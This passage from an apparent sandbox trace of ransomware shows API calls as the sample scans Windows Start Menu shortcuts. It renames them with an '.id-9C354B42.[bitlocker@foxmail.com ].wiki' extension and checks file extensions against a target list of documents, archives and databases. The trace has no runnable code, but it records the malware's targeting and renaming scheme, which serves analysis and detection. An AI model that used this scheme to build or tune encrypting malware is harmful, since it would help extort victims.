lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2875) returned 1 [0172.934] CloseHandle (hObject=0x334) returned 1 [0172.934] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk")) returned 0x20 [0172.934] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.934] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Office Picture Manager.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft office picture manager.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.935] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2999) returned 1 [0172.935] CloseHandle (hObject=0x334) returned 1 [0172.935] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk")) returned 0x20 [0172.935] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.935] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.936] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2879) returned 1 [0172.936] CloseHandle (hObject=0x334) returned 1 [0172.936] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk")) returned 0x20 [0172.936] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.937] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft OneNote 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft onenote 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.937] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3029) returned 1 [0172.937] CloseHandle (hObject=0x334) returned 1 [0172.937] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk")) returned 0x20 [0172.937] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.937] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Outlook 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft outlook 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.937] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2937) returned 1 [0172.938] CloseHandle (hObject=0x334) returned 1 [0172.938] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk")) returned 0x20 [0172.938] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.938] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.938] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2935) returned 1 [0172.938] CloseHandle (hObject=0x334) returned 1 [0172.938] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk")) returned 0x20 [0172.938] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.938] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.939] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3041) returned 1 [0172.939] CloseHandle (hObject=0x334) returned 1 [0172.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk")) returned 0x20 [0172.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.939] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Publisher 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft publisher 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.939] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3055) returned 1 [0172.939] CloseHandle (hObject=0x334) returned 1 [0172.939] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk")) returned 0x20 [0172.940] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.940] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.940] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=2767) returned 1 [0172.940] CloseHandle (hObject=0x334) returned 1 [0172.940] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk")) returned 0x20 [0172.940] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.940] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Visio 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft visio 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.940] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3021) returned 1 [0172.941] CloseHandle (hObject=0x334) returned 1 [0172.941] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk")) returned 0x20 [0172.941] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.941] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Word 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft word 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.941] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1169) returned 1 [0172.941] CloseHandle (hObject=0x334) returned 1 [0172.941] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk")) returned 0x20 [0172.941] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.942] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.942] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.942] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.942] lstrlenW (lpString=".doc") returned 4 [0172.942] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.942] lstrlenW (lpString=".docx") returned 5 [0172.942] lstrcmpiW (lpString1=".docx", lpString2="x.lnk") returned -1 [0172.942] lstrlenW (lpString=".pdf") returned 4 [0172.942] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.942] lstrlenW (lpString=".xls") returned 4 [0172.942] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.942] lstrlenW (lpString=".xlsx") returned 5 [0172.942] lstrcmpiW (lpString1=".xlsx", lpString2="x.lnk") returned -1 [0172.942] lstrlenW (lpString=".ppt") returned 4 [0172.942] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.942] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.942] lstrlenW (lpString=".zip") returned 4 [0172.942] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.942] lstrlenW (lpString=".rar") returned 4 [0172.942] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.942] lstrlenW (lpString=".bz2") returned 4 [0172.942] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.942] lstrlenW (lpString=".7z") returned 3 [0172.942] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.942] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.942] lstrlenW (lpString=".dbf") returned 4 [0172.942] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.942] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.942] lstrlenW (lpString=".1cd") returned 4 [0172.942] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.943] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.943] lstrlenW (lpString=".jpg") returned 4 [0172.943] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.943] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.943] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.943] lstrlenW (lpString=".doc") returned 4 [0172.943] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.943] lstrlenW (lpString=".docx") returned 5 [0172.943] lstrcmpiW (lpString1=".docx", lpString2="x.lnk") returned -1 [0172.943] lstrlenW (lpString=".pdf") returned 4 [0172.943] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.943] lstrlenW (lpString=".xls") returned 4 [0172.943] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.943] lstrlenW (lpString=".xlsx") returned 5 [0172.943] lstrcmpiW (lpString1=".xlsx", lpString2="x.lnk") returned -1 [0172.943] lstrlenW (lpString=".ppt") returned 4 [0172.943] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.943] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.943] lstrlenW (lpString=".zip") returned 4 [0172.943] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.943] lstrlenW (lpString=".rar") returned 4 [0172.943] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.943] lstrlenW (lpString=".bz2") returned 4 [0172.943] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.943] lstrlenW (lpString=".7z") returned 3 [0172.943] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.943] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.943] lstrlenW (lpString=".dbf") returned 4 [0172.943] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.943] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.944] lstrlenW (lpString=".1cd") returned 4 [0172.944] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.944] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk") returned 72 [0172.944] lstrlenW (lpString=".jpg") returned 4 [0172.944] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.944] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.944] lstrlenW (lpString="Microsoft SharePoint Workspace 2010.lnk") returned 39 [0172.944] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.945] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=3055) returned 1 [0172.945] CloseHandle (hObject=0x334) returned 1 [0172.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk")) returned 0x20 [0172.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.945] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sharepoint\\microsoft sharepoint workspace 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.945] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.945] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.945] lstrlenW (lpString=".doc") returned 4 [0172.946] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.946] lstrlenW (lpString=".docx") returned 5 [0172.946] lstrcmpiW (lpString1=".docx", lpString2="0.lnk") returned -1 [0172.946] lstrlenW (lpString=".pdf") returned 4 [0172.946] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.946] lstrlenW (lpString=".xls") returned 4 [0172.946] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.946] lstrlenW (lpString=".xlsx") returned 5 [0172.946] lstrcmpiW (lpString1=".xlsx", lpString2="0.lnk") returned -1 [0172.946] lstrlenW (lpString=".ppt") returned 4 [0172.946] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.946] lstrlenW (lpString=".zip") returned 4 [0172.946] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.946] lstrlenW (lpString=".rar") returned 4 [0172.946] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.946] lstrlenW (lpString=".bz2") returned 4 [0172.946] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.946] lstrlenW (lpString=".7z") returned 3 [0172.946] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.946] lstrlenW (lpString=".dbf") returned 4 [0172.946] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.946] lstrlenW (lpString=".1cd") returned 4 [0172.946] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.946] lstrlenW (lpString=".jpg") returned 4 [0172.946] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.946] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.947] lstrlenW (lpString=".doc") returned 4 [0172.947] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.947] lstrlenW (lpString=".docx") returned 5 [0172.947] lstrcmpiW (lpString1=".docx", lpString2="0.lnk") returned -1 [0172.947] lstrlenW (lpString=".pdf") returned 4 [0172.947] lstrcmpiW (lpString1=".pdf", lpString2=".lnk") returned 1 [0172.947] lstrlenW (lpString=".xls") returned 4 [0172.947] lstrcmpiW (lpString1=".xls", lpString2=".lnk") returned 1 [0172.947] lstrlenW (lpString=".xlsx") returned 5 [0172.947] lstrcmpiW (lpString1=".xlsx", lpString2="0.lnk") returned -1 [0172.947] lstrlenW (lpString=".ppt") returned 4 [0172.947] lstrcmpiW (lpString1=".ppt", lpString2=".lnk") returned 1 [0172.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.947] lstrlenW (lpString=".zip") returned 4 [0172.947] lstrcmpiW (lpString1=".zip", lpString2=".lnk") returned 1 [0172.947] lstrlenW (lpString=".rar") returned 4 [0172.947] lstrcmpiW (lpString1=".rar", lpString2=".lnk") returned 1 [0172.947] lstrlenW (lpString=".bz2") returned 4 [0172.947] lstrcmpiW (lpString1=".bz2", lpString2=".lnk") returned -1 [0172.947] lstrlenW (lpString=".7z") returned 3 [0172.947] lstrcmpiW (lpString1=".7z", lpString2="lnk") returned -1 [0172.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.947] lstrlenW (lpString=".dbf") returned 4 [0172.947] lstrcmpiW (lpString1=".dbf", lpString2=".lnk") returned -1 [0172.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.947] lstrlenW (lpString=".1cd") returned 4 [0172.947] lstrcmpiW (lpString1=".1cd", lpString2=".lnk") returned -1 [0172.947] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\Microsoft SharePoint Workspace 2010.lnk") returned 103 [0172.947] lstrlenW (lpString=".jpg") returned 4 [0172.947] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0172.948] lstrcmpiW (lpString1=".lnk", lpString2=".wiki") returned -1 [0172.948] lstrlenW (lpString="Sidebar.lnk") returned 11 [0172.948] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0172.948] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1330) returned 1 [0172.948] CloseHandle (hObject=0x334) returned 1 [0172.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk")) returned 0x20 [0172.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.948] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\sidebar.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.948] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.948] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Sidebar.lnk") returned 64 [0172.949] lstrlenW (lpString=".doc") returned 4 [0172.949] lstrcmpiW (lpString1=".doc", lpString2=".lnk") returned -1 [0172.949] lstrlenW (lpString=".docx") returned 5 [0172.949] lstrcmpiW 